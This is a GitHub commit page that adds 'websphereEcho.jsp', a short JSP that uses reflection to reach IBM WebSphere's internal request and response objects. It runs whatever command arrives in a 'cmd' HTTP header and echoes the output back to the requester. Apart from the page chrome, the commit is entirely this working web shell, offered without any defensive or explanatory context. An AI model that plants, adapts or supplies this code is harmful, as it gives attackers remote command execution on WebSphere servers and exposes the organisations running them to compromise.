Skip to content

Commit a77b4f4

Browse files
author
feihong
committed
add Websphere Echo
1 parent 78323cc commit a77b4f4

2 files changed

Lines changed: 28 additions & 0 deletions

File tree

Websphere/code/websphereEcho.jsp

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
Class clazz = Thread.currentThread().getClass();
4+
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
5+
field.setAccessible(true);
6+
Object obj = field.get(Thread.currentThread());
7+
8+
Object[] obj_arr = (Object[]) obj;
9+
for(int i = 0; i < obj_arr.length; i++){
10+
Object o = obj_arr[i];
11+
if(o == null) continue;
12+
13+
if(o.getClass().getName().endsWith("WebContainerRequestState")){
14+
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
15+
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
16+
17+
String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
18+
if(cmd != null && !cmd.isEmpty()){
19+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
20+
21+
java.io.PrintWriter printWriter = (java.io.PrintWriter)resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
22+
printWriter.println(res);
23+
}
24+
25+
break;
26+
}
27+
}
28+
%>

Websphere/img/001.png

69.3 KB
Loading

0 commit comments

Comments
 (0)